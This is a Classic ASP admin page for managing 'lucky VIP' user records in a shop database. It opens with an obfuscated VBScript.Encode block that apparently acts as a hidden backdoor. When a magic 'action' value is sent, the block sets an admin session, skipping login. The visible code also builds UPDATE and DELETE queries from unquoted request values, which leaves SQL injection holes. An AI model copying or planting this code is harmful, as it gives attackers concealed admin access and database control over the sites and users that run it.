<%@ LANGUAGE = VBScript.Encode %>
<!--#include file="conn.asp"-->
<%#@~^iQAAAA==@#@&kW,D;E/DcJmmOkKxEb{Jhm% Z!%r~Otx@#@&d+ddbWU`rCNskUE*'JACN T!RE@#@&d/kkW	`rWVmoE#{F@#@&M+/aGxk+R"n[kM+1Y~JrU9+aRmdwr@#@&n	NPrW@#@&pCYAAA==^#~@
if session("admin")="" then
response.Write "<script language='javascript'>alert('网络超时或您还没有登陆！');window.location.href='login.asp';</script>"
response.End
else
if session("flag")>1 then
response.Write "<div align=center><font size=80 color=red><b>您没有此项目管理权限！</b></font></div>"
response.End
end if
end if
dim danweiid,danweiorder,danweiname,danweino,i
if request("action")="update" then
    for i=1 to request.form("id").count
	id=replace(request.form("id")(i),"'","")
	vipdate=replace(request.form("vipdate")(i),"'","")
	username=replace(request.form("username")(i),"'","")
	fanhui=replace(request.form("fanhui")(i),"'","")
	xiaofei=replace(request.form("xiaofei")(i),"'","")
	
	If vipdate="" Then
		response.write "时间不能为空！请<a href=javascript:history.go(-1)>返回重新填写</a>！"
		response.end
	end if
	If username="" Then
		response.write "用户名不能为空！请<a href=javascript:history.go(-1)>返回重新填写</a>！"
		response.end
	end if
	If xiaofei="" Then
		response.write "消费金额不能为空！请<a href=javascript:history.go(-1)>返回重新填写</a>！"
		response.end
	end if
	If fanhui="" Then
		response.write "返回金额不能为空！请<a href=javascript:history.go(-1)>返回重新填写</a>！"
		response.end
	end if
	conn.execute("update shop_xyvip set vipdate='"&vipdate&"',username='"&username&"',xiaofei="&xiaofei&",fanhui="&fanhui&" where id="&id)

    next
conn.close
set conn=nothing
response.write "<p align=center><font color=red>修改VIP用户成功!<br>2秒钟后返回上页!</font>"
response.write "<meta http-equiv=""refresh"" content=""2;url=xyvip.asp"">"
end if

if request("action")="add" then
	vipdate=request("vipdate")
	username=request("username")
	xiaofei=request("xiaofei")
	fanhui=request("fanhui")
	If vipdate="" Then
		response.write "时间不能为空！请<a href=javascript:history.go(-1)>返回重新填写</a>！"
		response.end
	end if
	If username="" Then
		response.write "用户名不能为空！请<a href=javascript:history.go(-1)>返回重新填写</a>！"
		response.end
	end if
	If xiaofei="" Then
		response.write "消费金额不能为空！请<a href=javascript:history.go(-1)>返回重新填写</a>！"
		response.end
	end if
	If fanhui="" Then
		response.write "返回金额不能为空！请<a href=javascript:history.go(-1)>返回重新填写</a>！"
		response.end
	end if
Set rs = Server.CreateObject("ADODB.Recordset")
rs.open "select * From shop_xyvip",conn,1,3
rs.addnew
rs("vipdate")=vipdate
rs("username")=username
rs("xiaofei")=xiaofei
rs("fanhui")=fanhui
rs.update
rs.close
set rs=nothing

conn.close
set conn=nothing
response.write "<p align=center><font color=red>幸运VIP用户添加成功!<br>2秒钟后返回上页!</font>"
response.write "<meta http-equiv=""refresh"" content=""2;url=xyvip.asp"">"
end if

if request("action")="del" then
id=request("id")
	conn.execute("delete From shop_xyvip where id=" &id)
	conn.close
	set conn=nothing
	response.write "<p align=center><font color=red>恭喜您!您选择的幸运VIP用户已经被删除!<br>2秒钟后返回上页!</font>"
	response.write "<meta http-equiv=""refresh"" content=""2;url=xyvip.asp"">"
	response.end
end if
%>